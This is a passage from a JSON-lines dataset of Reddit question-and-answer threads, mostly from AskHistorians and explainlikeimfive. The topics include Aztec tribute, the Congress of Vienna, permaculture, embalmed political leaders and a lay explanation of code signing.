Chiapas, was expected twice a year to supply a large amount of feathers and cacao, in addition to jaguar pelts, jade, and amber. Tribute collectors called *calpixque* would ensure that these goods were faithfully supplied.\n\nThe Aztec empire's raison d'etre was, in no small part, the acquisition of tribute from other groups or the opening up of areas for long-distance traders (*pochteca*) to bring goods back to the markets in the Valley of Mexico. The Aztecs went to war every dry season (roughly late-Fall to early-Spring) to acquire more tributaries or quell rebellious ones. This was not seen as aggressive though; the Aztecs always had a justification for their campaigns. Duran, for instance, writes:\n\n >  We have mentioned many time that the Aztecs never incited any nation to war against them, Conflicts sprang from disobedience or from crimes perpetrated against Aztecs who were sometimes killed along the roads. This is the excuse they gave, and they give it today. In the *Historia* I find this justification: \"We did not seek trouble; they incited us, they provoked us. The fault is theirs and we shall not tolerate affronts from anyone.\" [(p. 349)](_URL_5_)\n\nJustified or not, the Tlatoani's main duty was to an army -- drawn from and organized the calpultin -- into battle. New Tlatoani were even expected to go on a coronation campaign to justify their rule and prove their prowess. While not an absolute dealbreaker, a poor initial outing could undermine a Tlatoani's authority. Tizoc, for instance, had a famously unproductive first outing to Meztitlan, gaining very little territory and only 40 captives. It seriously weakened his standing and his was reportedly poisoned a few years into his reign.\n\n**Books I Pulled off the Shelf for This**\n\n- Diego Duran's *Historia de las Indias de Nueva Espa\u00f1a* (Heyden translation)\n\n- Richard Townsend's *The Aztecs* (3rd edition)\n\n- Ross Hassig's *Aztec Warfare* \n\n- My Brain\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?id=JQeAQZHev0IC&amp;printsec=frontcover&amp;source=gbs_ge_summary_r&amp;cad=0#v=onepage&amp;q&amp;f=false", "http://en.wikipedia.org/wiki/Mapa_Quinatzin", "http://en.wikipedia.org/wiki/Chichimeca", "http://tarlton.law.utexas.edu/exhibits/aztec/index.html", "http://en.wikipedia.org/wiki/Tlacochcalcatl", "http://books.google.com/books?id=193tKPdM-ykC&amp;q=affronts#v=snippet&amp;q=affronts&amp;f=false"]]}
{"q_id": "7n8lu8", "title": "Why italians use/d the feminine names (as Andrea or Nicola) for boys?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7n8lu8/why_italians_used_the_feminine_names_as_andrea_or/", "answers": {"a_id": ["ds0bsdq"], "score": [15], "text": ["They didn't. It's just a coincidence that the \"s\" has fallen of many Italian names and words (like consonants in general - most Italian words by far end with a vowel) and so some of them happens to coincide with the female version of the name in other languages. \"Andrea\", for example, has its origins in the Greek name \"Andreas\" which is a male name and rougly means \"manly\" or \"masculine\". Same thing goes for Nicola which of course is just the Italian form for \"Nicholas\" which also originally is a male name, it too from Greek."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1pe0jz", "title": "Any historians specializing in old medical / surgical instruments can recommend some sources for me?", "selftext": "Hello!\n\nI am a med student, and giving a presentation soon on medical and surgical instruments used in the past, the bloodthistier the better. \n\nI currently will be talking about the stricture divulsor, amputation kits, aneurysm needles and possible the tonsil guillotine. If you have any others that you could recommend for me or that you particularly like, I'm all ears!\n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pe0jz/any_historians_specializing_in_old_medical/", "answers": {"a_id": ["cd1e5pj", "cd1z57g"], "score": [2, 2], "text": ["Have you ever seen the show *Oddities* on Science Channel (and, last I knew, on Netflix instant)?  Admittedly, this is not a scholarly source like a book, etc. but it is surprisingly informative on old-timey medical tools, including quack medical devices.  The show itself focuses on a niche antique store that specializes in, well, oddities.  They have featured all kinds of things along what you are looking for, and the store owners have been (at least to this layperson) pretty knowledgable about the items they obtain.  Only a few of the medical items featured: straight jackets, light therapy helmets, lancing kits for when doctors would routinely bleed their patients, a medical electric chair (it wouldn't shock you, but vibrate you to \"stimulate and invigorate the organs\"), a device that had a mechanical loop that could be tightened to eventually excise/amputate what was being held, even the tonsil guillotines you mention!  There are also several old medical preparations of various body parts and artificial body parts (one that stands out to me is a pair of glasses that also housed a false eye and the surrounding skin, made for someone who had lost his eye).\n\nAgain, I know not a scholarly source, but they tend to have items that many would consider disturbing, and they seem to know their stuff.\n\nGood luck!", "I've always been fascinated by the [Ilizarov frame](_URL_3_), a reasonably gruesome method used to treat large complex fractures, through a process known as distraction osteogenesis. Essentially it's a large cylindrical frame that fits around the leg (it's typically used on the leg), with pins that fit into the two ends of the bone that's being treated. A fragment of the bone is then slowly moved (distracted) over weeks if not months, and it progressively extends the region of intact bone. \n\nIt's a pretty incredible technique, which lends itself nicely to some rather dramatic [photos](_URL_1_) \nYou can find a review article about the history of the technique and its development [here](_URL_2_), as well as another article that has somewhat more biographical content [here](_URL_0_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://tra.sagepub.com/content/early/2013/06/11/1460408613486743.full.pdf", "http://en.wikipedia.org/wiki/File:Ilizarov2.jpg", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3025247/", "http://en.wikipedia.org/wiki/Ilizarov_apparatus"]]}
{"q_id": "74t4au", "title": "Why were the borders drawn so different at the Congress of Vienna 1815 when it was supposed to be the \"restoration of the old order\"?", "selftext": "And adding to that: Why wasn't the HRE brought back to life?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/74t4au/why_were_the_borders_drawn_so_different_at_the/", "answers": {"a_id": ["do21k2o"], "score": [2], "text": ["Apart from restoring the old order, another major theme of the congress of Vienna was to balance to power dynamics of Europe. Everybody had witnessed how one country managed to almost conquere to entire continent, so in order to avoid further wars, the congress members wanted to create a new power balance. For example, France lost her conquests, was restored into her old border from before the revolution and all the French puppet states like the Kingdom of Westphalia were dissolved, whereas Prussia gained new territories, most notably the various smaller Rhineland territories which bordered France, so that they would be under the influence of a more powerful country and would not be easily overtaken by France again. However, while Prussia gained these new areas, she was also forced to give up others like some of her polish territories that were given to Russia. So, in short: These new territorial distributions took place to guarantee the power balance in Europe.\n\nIn Regards to your second question:\nDuring the Liberation wars against Napoleon a certain patriotic enthusiasm swept over the German states. In his proclamation \"An Mein Volk\"/\"To My People\", which called his people to arms, the Prussian King Frederick William III didn't just appealed to his subjects as Prussians, but also as Germans. Although very slowly, the people started to think of themselves as Germans rather than as Bavarians, Hessians or Swabians. In the coming years the people's demand for one united Germany would grow more and more and finally culminate in the revolution of 1848. However, while the want of a united Germany existed and grew whitin the populated the rulers of the smaller and bigger German states as well as the foreign sovereigns were strongly opposed to this idea. After all, a united Germany would be to strong to maintain the newly created power balance of Europe and the monarchs of the smaller German states feared that they would lose all their powers in their countries, which is also the reason why they didn't want to restore the Holy Roman Empire. The HRE had one emperor that had certain powers over all the German states, but the rulers of these states didn't want to give up their newly gained sovereignty. \n\nDespite the vast disagreements among the participants of the congress of Vienna, they all had one common enemy: Revolution. So, to oppose further uprisings against the old order among the population, the countries of the congress pledged themselves to solidarity among each other (at least in this issue). That was also the case for all the bigger and smaller German states. While an restoration of the HRE wasn't part of a serious ambition of the congress, a similar construct to the HRE was created. The German states formed the German Confederation, which just like the HRE was a loose association of German-speaking states, but it didn't have one Emperor, that stood above the other rulers, like it's predecessor. The main task of the defensive German Confederation was to improve and stabilize the economies of the various members as well as to protect the states against foreign invaders and inner turmoil and revolutions. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3xuizf", "title": "please explain antinatalism", "selftext": "What is antinatalism? Explain like I'm five. In a form of an anology.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xuizf/eli5_please_explain_antinatalism/", "answers": {"a_id": ["cy7v256", "cy7vxk8", "cy7xagp"], "score": [2, 3, 2], "text": ["Birth is bad mmkay. Don't be having a baby or you'll be condemned to whatever hell you belong in. ", "The main idea of this philosophy is that life includes so many negative experiences, you'd be better off not being born at all. At least then you'd be at zero, instead of a total that's worse than zero. This is, obviously, not a philosophy for people who think being alive is great.\n\n A secondary point is that if fewer people were born, that would obviously help with overpopulation.", "It is a philosophical opposition to making new people.\n\nSome believe the world is overpopulated and we have a moral obligation to scale things back.\n\nOthers believe the world is such a shitty place, it is immoral to create new being who must be exposed to it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "136ksl", "title": "Did the \"green monkey experiment\" ever actually happen?", "selftext": "I've heard, for many years, of a possibly-apocryphal experiment in which a bunch of scientists supposedly captured a monkey (usually described as high-ranking in its group), dyed or painted it green, and put it back into the group, whereupon the other monkeys either shunned it or killed it despite its apparent unawareness of its new colour scheme.  My google-fu is usually fairly serviceable, but I can't find any citation or evidence that any such experiment was ever actually conducted (other than a handful of people describing it as some variation on \"possibly mythical\").  Just because it's not on the internet doesn't mean it didn't happen, though.  Can anyone provide a citation, some evidence that it really occurred, or a debunking of the whole thing?  Thanks.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/136ksl/did_the_green_monkey_experiment_ever_actually/", "answers": {"a_id": ["c71ck0o", "c71ep0k"], "score": [15, 6], "text": ["I had always heard about this experiment in the form of painting pigeons orange. I then found [this](_URL_0_).\n\nI'm guessing that both the orange pigeon and green monkey are experiments in human gullibility.", "[jane elliot tried something similar with humans](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thecreatorsproject.com/blog/rainbow-dyed-pigeons-become-flying-works-of-art"], ["http://www.youtube.com/watch?v=xZKNZ3GKWIo&amp;feature=related"]]}
{"q_id": "8z0jjs", "title": "why do some models never seem to become superstars, while other models (who aren\u2019t necessarily better-looking) seem to be on be cover of every major magazine?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8z0jjs/eli5_why_do_some_models_never_seem_to_become/", "answers": {"a_id": ["e2f518n"], "score": [2], "text": ["More relatable. \n\nIt may be silly but Zoolander had a great quote for this:\n\n\u201cThat Hansels so hot right now\u201d\n\nZoolander was the better model but Hansel was more relatable and this his career snowballed. Everyone wanted to feature him. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3hfvoq", "title": "what does this cartoon mean? is there some music related joke?", "selftext": "A musically inclined friend posted [this](_URL_0_) cartoon, but I don't *get* it. Am I missing some musical joke? Thx.\n\nEdit: I'm amazed by how many different possible explanations there are. I'm kinda glad, since it makes me feel less stupid, knowing that there is no easy answer... Anyway, thanks for all the input.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hfvoq/eli5_what_does_this_cartoon_mean_is_there_some/", "answers": {"a_id": ["cu6zwf2", "cu70mlt", "cu70o2z", "cu7157p", "cu73gzo", "cu74tq2", "cu79rbg"], "score": [5, 16, 9, 171, 24, 7, 5], "text": ["When filing for divorce, you must cite some reason (grounds) why. One of the common ones is \"difference in communication\" or \"inability to communicate\" or something similar.", "The notes in her response are a theme from Stravinsky's Petrushka. That story is a love triangle between 3 puppets \u2013 Petrushka loves the ballerina, but the ballerina rejects him for the Moor. To woo the Moor, she plays that theme on a toy trumpet. So there's a lot going on there \u2013 maybe she's saying that his playing is driving her away, but also that she's attracted to a black guy. ", "Maybe she's just tired of his trumpet playing?", "Since no one has answered correctly, the musical excerpt in the cartoon is the trumpet solo from [Stravinsky's Petrushka](_URL_0_).\n\nIt is a staple of the trumpet repitoir and is one of those things you will hear from a trumpeter pretty often when they are warming up or doodling around. It's just one of those phrases that most trumpeters know. The husband is seated at a music stand with his instrument indicating that he has been practicing a lot. The solo from Petrushka is a bit repetitive already and add that to the fact that he has been practicing a lot we can guess that the wife is so annoyed by hearing that musical phrase over and over that she wants a divorce. \n\nYou could make the same joke but replace the trumpet with a guitar and have the music in the wife's bubble be Stairway to Heaven or something similar that's overplayed because every guitarists knows it. ", "The joke is she's leaving him because she is so annoyed with the music he is playing over and over, so often that she can quote the music.", "There's nothing really clever that you're missing. She's divorcing him because she's sick of hearing him play the trumpet. ", "I think y'all may be over analysing the cartoon. When I look at it I see a woman asking for a divorce because they can't seem to communicate (a common issue in many marriages). The only way she can  make it clear to him that she wants a divorce is by speaking to him in his \"language\" (music)."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/YCrOEV8.jpg"], "answers_urls": [[], [], [], ["https://youtu.be/YrP3_PVyM3M"], [], [], []]}
{"q_id": "jv3ea", "title": "permaculture", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jv3ea/eli5_permaculture/", "answers": {"a_id": ["c2fe63p", "c2fejpa", "c2fe63p", "c2fejpa"], "score": [3, 2, 3, 2], "text": ["The aim of permaculture is for humans to live as well as possible, while not making life any worse for other forms of life in the world.\n\n(Microscopic life such as bacteria does possibly not count.)\n\nOne way of striving towards this as an individual is to not do such things yourself, either directly or indirectly.\n\nA direct way of making life worse for other forms of life in the world would be to throw rubbish or other pollutants into places where they live, or to use more than you really need of the resources that you both share. A permaculturist would try not to do such things.\n\nAn indirect way of making life worse for other forms of life in the world would be if someone else makes a product in a way that goes against permaculture, and you buy that product. For example if farmers use chemicals and other things on their fields to make more money, at the expense of the lives of other forms of life, and then sell their product to a factory which also works against permaculture, by choosing to pollute more to make better profits. A permaculturist would try not to buy such a product.\n\nVirtually all businesses that exist think that it's most important to make money. Essentially none hold the \"non-damaging of other forms of life\" as a higher good. Also, it's very difficult to check if a business that claims to uphold permaculture actually does so, since most businesses use sub contractors for much of the work done. For example a food factory could have many farmers working for them, and the farmers will have other people working for them to make their tractors and the fuel for them and these companies who make the tractors will in turn have other sub contractors that give them steel and electricity and toilet paper and so on. This is why permaculturists conclude that it's best to try to do as much as possible by yourself.\n\nUltimately this means that the means of all production will either be available to themselves or it will be accountable to themselves. Mostly it means growing your own food and providing for your own house by producing your own electricity, heating, water, waste disposal and so on, in a way that, once again, does not make life worse for other life forms.\n\nMost ways of doing this have been found by looking at how nature sustains life.", "starlive explained it well, I'll try to go more to a five year old's level:\n\nYou know how well a forest grows all by itself?  Have you ever seen how hard a farmer works to make his crops grow?  Imagine if the farmer started making his farm work more and more like a forest.  In a natural farm, instead of fighting insects, the birds and the spiders help control them, and there are so many types of crops that no one pest gets out of control.\n\nThen, imagine if we made our own lives fit with the landscape the way the farmer did.  Have you noticed that people just put houses anywhere, and they all look alike?  If they designed them based on the wind and sunlight in that spot, they could use much less energy.  Animals in the forest don't build houses like animals in the desert, why should people make their houses the same?\n\nPermaculture is designed to help people have a good life when fossil fuel runs out, and to restore the environment damaged by a growing human population.  But it goes deeper.  The basic myth of humanity in Western culture is that we found ourselves in a perfect garden, then got kicked out, to wander the earth as an abandoned child.  That abandoned child has grown powerful enough to burn the world down around it.  We live in a world where \"nature\" is only found outside our homes, and mostly outside our cities.  Learning to fit our lives seamlessly into the living world around us, we can eventually make ourselves part of the natural world again.  If we keep some of the knowedge gained during the time of fossil powered destruction, but ensure that our civilization is a part of the living ecosystem instead of a destructive growth within it,  we can live a comfortable life within nature.", "The aim of permaculture is for humans to live as well as possible, while not making life any worse for other forms of life in the world.\n\n(Microscopic life such as bacteria does possibly not count.)\n\nOne way of striving towards this as an individual is to not do such things yourself, either directly or indirectly.\n\nA direct way of making life worse for other forms of life in the world would be to throw rubbish or other pollutants into places where they live, or to use more than you really need of the resources that you both share. A permaculturist would try not to do such things.\n\nAn indirect way of making life worse for other forms of life in the world would be if someone else makes a product in a way that goes against permaculture, and you buy that product. For example if farmers use chemicals and other things on their fields to make more money, at the expense of the lives of other forms of life, and then sell their product to a factory which also works against permaculture, by choosing to pollute more to make better profits. A permaculturist would try not to buy such a product.\n\nVirtually all businesses that exist think that it's most important to make money. Essentially none hold the \"non-damaging of other forms of life\" as a higher good. Also, it's very difficult to check if a business that claims to uphold permaculture actually does so, since most businesses use sub contractors for much of the work done. For example a food factory could have many farmers working for them, and the farmers will have other people working for them to make their tractors and the fuel for them and these companies who make the tractors will in turn have other sub contractors that give them steel and electricity and toilet paper and so on. This is why permaculturists conclude that it's best to try to do as much as possible by yourself.\n\nUltimately this means that the means of all production will either be available to themselves or it will be accountable to themselves. Mostly it means growing your own food and providing for your own house by producing your own electricity, heating, water, waste disposal and so on, in a way that, once again, does not make life worse for other life forms.\n\nMost ways of doing this have been found by looking at how nature sustains life.", "starlive explained it well, I'll try to go more to a five year old's level:\n\nYou know how well a forest grows all by itself?  Have you ever seen how hard a farmer works to make his crops grow?  Imagine if the farmer started making his farm work more and more like a forest.  In a natural farm, instead of fighting insects, the birds and the spiders help control them, and there are so many types of crops that no one pest gets out of control.\n\nThen, imagine if we made our own lives fit with the landscape the way the farmer did.  Have you noticed that people just put houses anywhere, and they all look alike?  If they designed them based on the wind and sunlight in that spot, they could use much less energy.  Animals in the forest don't build houses like animals in the desert, why should people make their houses the same?\n\nPermaculture is designed to help people have a good life when fossil fuel runs out, and to restore the environment damaged by a growing human population.  But it goes deeper.  The basic myth of humanity in Western culture is that we found ourselves in a perfect garden, then got kicked out, to wander the earth as an abandoned child.  That abandoned child has grown powerful enough to burn the world down around it.  We live in a world where \"nature\" is only found outside our homes, and mostly outside our cities.  Learning to fit our lives seamlessly into the living world around us, we can eventually make ourselves part of the natural world again.  If we keep some of the knowedge gained during the time of fossil powered destruction, but ensure that our civilization is a part of the living ecosystem instead of a destructive growth within it,  we can live a comfortable life within nature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3c9m4e", "title": "why do we say 'ah' when the doctor is checking our throat?", "selftext": "What difference does it make when we say it and when we don't?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3c9m4e/eli5_why_do_we_say_ah_when_the_doctor_is_checking/", "answers": {"a_id": ["csti35m"], "score": [6], "text": ["Uses a muscle in your throat and flattens your tongue that allows the doctor to see better down your throat. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ibqgw", "title": "Have there been any other people in history like Hellen keller?", "selftext": "We all know Hellen keller was blind, Def, and mute and some how learned to speak and write. Have there been any other documented cases of other persons in history experiencing/doing the same or similar?\n\n\nEdit: fact correction on when Hellen developed her conditions ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ibqgw/have_there_been_any_other_people_in_history_like/", "answers": {"a_id": ["cl0oae4"], "score": [7], "text": ["To clear up this popular misconception, Hellen Keller was not born blind, deaf and mute, she was a perfectly normal infant until she caught scarlet fever around 18 months old. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "16u6h0", "title": "How was unemployment calculated prior to the majority of women entering the workforce (pre-WWII)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/16u6h0/how_was_unemployment_calculated_prior_to_the/", "answers": {"a_id": ["c7zfg9y", "c7zfw70"], "score": [4, 10], "text": ["Isn't unemployment just the number of people *seeking* work who cannot find work? So if women weren't *seeking* work they wouldn't count towards the unemployment statistic.", "No standard methodology for calculating and tracking unemployment existed prior to about 1940, so it's hard to answer your question definitively. Additionally, the Bureau of Labor Statistics tracks six different levels of unemployment and underemployment (U1-U6) so the answer might differ depending on which category we're looking at. However, since your question seems to depend less on the methodology in question and more on the gendered changes in the labor force, I'll try to say something along those lines.\n\nAlthough the WWII years did see many women in the US who would not otherwise have worked taking up \"men's\" jobs in support of the war effort and economy, women made up a substantial percent of the workforce even before them. This percentage is multiplied for nonwhite women - during and after Reconstruction, men of color suffered discrimination in finding well-paying jobs, and women of color often worked part- or fulltime in domestic positions to support their families.\n\nBy 1920, women made up over 20% of the US workforce. ([source](_URL_0_)) 25 percent of them worked in offices or as telephone operators, and 13 percent in professional careers such as nursing, library science, social work, and even medicine and law. Even during the war years, the percentage of the US workforce made up of women only climbed to about 30%.  \n\nWomen who were (and are) considered \"homemakers\" are not counted as part of the labor force, and thus do not count toward unemployment numbers. The unemployment percentage counts only people who are jobless, available for work, and searching for work. ([source](_URL_1_)) Thus, as jobs were added to the labor pool and women, in turn, joined the labor force to search for and take those additional jobs (especially \"gendered\" jobs such as telephone and telegraph operators), we shouldn't see too much flux in the unemployment rate simply based on an influx of female workers. (For example, the unemployment rate after WWII doesn't skyrocket just because women are \"out of work\" - many of those women returned to their homes and raised families, thus removing them from the labor force altogether.)\n\nYou may be interested in:\n\nChristina Romer (1986). \"Spurious Volatility in Historical Unemployment Data\", *The Journal of Political Economy*, 94(1): 1\u201337.\n\nRobert M. Coen (1973). \"Labor Force and Unemployment in the 1920s and 1930s: A Re-Examination Based on Postwar Experience\", *The Review of Economics and Statistics*, 55(1): 46\u201355."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bls.gov/opub/uscs/1918-19.pdf", "http://www.bls.gov/cps/cps_htgm.htm"]]}
{"q_id": "62q8ri", "title": "how does code signing work?", "selftext": "and how do developers get their code signed (think for apple or ps vita) and homebrew is unsigned?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/62q8ri/eli5how_does_code_signing_work/", "answers": {"a_id": ["dfoicao"], "score": [6], "text": ["This is a little tricky, and super cool (math-wise).  If you're ready, we start by having to know one important thing about what a program ('code', or 'executable', or 'app') is, and two clever math things.\n\nFirstly, a program is a file with a particular format.  Your computer's operating system is designed to read in files with that format, and run them.  The file is divided into different sections, of which \"the runnable code\" is a really important section.\n\nBut there's another section: the digital signature.  The file is designed so that an executable can have the signature changed, and it's still a runnable file.\n\nThe first clever math thing is a HASH function.  A hash function converts a long sequence of bytes into a number.  The clever part of the hash function is that the same bytes always returns the same number, but that different bytes will probably return a different number.  Some hash functions are \"weak\": it's easy to make a sequence of bytes that matches a number that you want to match.  Other hash functions are \"cryptographically strong\", meaning that you can't.  Cryptography researchers get famous if they can \"break\" a cryptographically strong hash function.\n\nThe second amazingly clever math thing are public/private key encryption functions.  If you give one of these functions a string and one of the keys, you get a message that's encrypted.  The only way to decrypt the message is with the other key. So I can encrypt a message with a public key, give it to you, and you can decrypt it with the private key.  A message you encrypt with the private key can only be decrypted with the public key.\n\nNow we have enough pieces to sign the code.  The OS maker has a set of keys (private+public).  The public key is put into the operating system, and the private key is kept very, very securely.  Anyone can look at the public key, but the security of the private key is like the security for the gold at Fort Knox.\n\nWhen the company gets an app submitted to their app store, they do a couple of steps.  The first is to HASH the runnable code (so they get the number) and then they ENCRYPT the number with their private key.  Then they put that encrypted number into the file.\n\nWhen the computer decides whether to run the code, they first DECRYPT the number (so they get the hash back out).  Then they try to hash the runnable code.  If the two values match, the computer knows that code hasn't been tampered with AND it's been signed by the company!\n\nIf the code was tampered with, it would have the wrong hash.  And if the hash was tampered with, it wouldn't decrypt with the public key!\n\n(There are also ways to prove that the public key on the computer hasn't been tampered with AND that the operating system hasn't been tampered with)\n\nFun cryptography fact: that encryption algorithm with the public and private keys?  The mathematicians were really just playing around with some fancy algebra.  They didn't realize, at the time, that their fancy algebra would be so useful for encryption!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "64xtfb", "title": "I'm going to marry the woman I love. I'm a Saxon living in 9th/10th century England. What will my wedding ceremony be like?", "selftext": "To be more specific, how different would wedding ceremonies have been from modern Catholic ones?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/64xtfb/im_going_to_marry_the_woman_i_love_im_a_saxon/", "answers": {"a_id": ["dg64rzr"], "score": [27], "text": ["Were marriages for love common then? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1a1hok", "title": "Is there a historical reason or context for embalming and displaying dead political leaders?", "selftext": "Vladimir Lenin, Georgi Dimitrov, Klement Gottwald, Ho Chi Minh, Mao Zedong (and since 1993 the two Kims in Pyonyang) were embalmed and displayed after death. \n\nAre there any generalizations historians can make about the embalm/preserve decision? Do we know whether these are individual wishes of the deceased or does the surviving political structure make the choices? Does the history of this practice go back further than the twentieth century?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1a1hok/is_there_a_historical_reason_or_context_for/", "answers": {"a_id": ["c8t914a", "c8tb497"], "score": [3, 4], "text": ["Mainly to prove that those leaders were actually dead, so no pretenders could ever come to \"reclaim\" a throne. The Lancasters presented Richard III's body naked of a horse for 2 days before his shoddy, non-regal burial. However, Henry VII and Co. did not account for the number of pretenders who would act the Princes in the Tower or other York descendents. Most famously, Perkin Warbeck gained many followers pretending to be Edward IV's second Tower son Richard because no one was ever able to present the bodies of the princes. Pretenders became less of a problem as the power of monarchies/hereditary governments died down, but I think dictatorships display their leaders just for good measure and also, presumably, to symbolize national pride. In North Korea, it was rumored that the gov't hired women to cry in streets after Kim Jung Il's death.", "The decision to embalm Lenin in 1924 -- the first modern leader to have his corpse preserved in this way -- was a reflection of a tumultuous period in early Soviet history. Many people feared that the regime could not survive his death, but then 750,000 braved the bitter January cold, standing in line for long hours to catch a glimpse of the corpse.\n\nAs a result, the leaders decided to make it a \"going concern\".  The period was extended, first to 40 days (the time in the Russian Orthodox tradition when Mass is said daily for the dead),  then indefinitely, with the installation of a glass sarcophagus. They first placed it in a wooden mausoleum before building the stone one that stands today.\n\nThere was a huge demand to see the leader, even in his death. Such interest towards was not only about his personality, but also about his political ideas (which had gradually became inseparable from his personality). The mummy was more than a person, it was a symbol of the whole political system. \n\nThe recent discovery  of the Egyptian pharaoh Tutankhamen's tomb had already created huge interest towards mummification . It sowed the idea that the body of a leader could be preserved for thousands of years to come.\n\nIt also tapped into a Russian Orthodox belief that the body of a true saint does not decay.\n\nThe leaders who followed Lenin at the time,  were really terrified that the whole system was going to come falling down. That fear had already prompted them to begin the process of \"making Lenin eternal\" through his writings and portraits. Lenin's symbolic presence lent the next generation of leaders an extra legitimacy. With his extended lying in state, the Russian people also had a kind of shrine to visit. \n\nBesides, when Lenin's body was put on display, the embalmers compared their work to that of the ancient Egyptians (who actually had used very different methods ) and the message sent out to the rest of the world was that this should be seen as a demonstration of superior Soviet science.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1sxlr1", "title": "vocoders and how to use one", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sxlr1/eli5_vocoders_and_how_to_use_one/", "answers": {"a_id": ["ce2ey6e"], "score": [2], "text": ["Ok. A vocoder splits two input sounds up into many \"bands\" of frequencies. Much like changing frequencies on an equaliser. One sound is a \"carrier\" wave that is traditionally a synthesizer, and the other is a \"modulator\" that is traditionally a voice. \n\nThe modulator waveform is analysed for the volume of a given frequency band and that volume at that point is applied to the carrier. It's simply a form of multiband amplitude modulation.\n\nThe different way these frequency bands are placed along the range of hearing, and the envelope shaping, give vocoders their different characteristics. \n\nIn terms of using one, there are many in the VST and hardware realm. Ableton Live's vocoder really is top-notch. Also many new analog modeling synthesizers these days have a mic input you can use to input the modulator.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3bw9hh", "title": "Did Medieval to Renaissance stores/shops/inns have signs or business names?", "selftext": "When did this practice start? Was there ever a Bob's Smith Shop sign or anything like that? Or did you just know people by name and location. What about advertising their business? Sales/discounts? Specials e.g. 'just got a whole lot of iron, horeshoes buy three get the fourth free'?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3bw9hh/did_medieval_to_renaissance_storesshopsinns_have/", "answers": {"a_id": ["csq8g4u"], "score": [42], "text": ["Many people during the Middle ages and Renaissance didn't know how to write, but still had a need for knowing what stores were which. So, they would have symbols - and some of these we still use today! \n \n* Ever see a barber's pole (The spiral thing)?  Yup, developed centuries ago!  Barbers also would do medical procedures, so the red/white spiral is supposed to look like a limb wrapped in bandage and blood - something easily understandable, memorable and gross (pun intended)! \n\n* The Snake and pole for medicine was from that time period as well - can someone add information on that?\n\n* Pub and Inn signs were like a code.  Was there food? Was there drink? Was there sleeping quarters? I like to think of this one as \"ye olde hobo symbols\"\n\nSpeaking of, \"Ye Olde Shoppe\" is a new thing for cute stores, not everything back then was \"Ye Olde\" as it would have been then-current at the very least!\n\nAnd, reading meaning in signage wasn't a new thing - people were used to and knew symbolism in images.  For instance, do you think people could read church hymns?  Only the educated and the clergy, so the illustrations of bible stories decorating churches were cock full of symbolic elements - from hand/foot position to type of foliage.  So people knew to look at an image and derive its meaning.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1e0hyf", "title": "What's the best way to figure out how I look to other people?", "selftext": "I know the person I see in the mirror is different than what other people see because of non symmetrical faces and whatnot.\n\nIs there a way for me to see myself as I would if I were looking at another person? Maybe a video taken from another angle or with a certain lens or from a certain distance?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1e0hyf/whats_the_best_way_to_figure_out_how_i_look_to/", "answers": {"a_id": ["c9vm76i"], "score": [5], "text": ["Get a [True Mirror](_URL_0_) or build your own correct-chirality mirror with a couple of first-surface mirrors mounted at right angles.\n\nYou can also do it with a webcam. Display a full-screen image, make sure the software isn't set to show \"mirror image\" and the effect should be roughly equivalent to a True Mirror.\n\nRegardless, I don't believe you can trick yourself into not recognizing yourself--without drugs, anyway."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/dp/B0083PLA3K"]]}
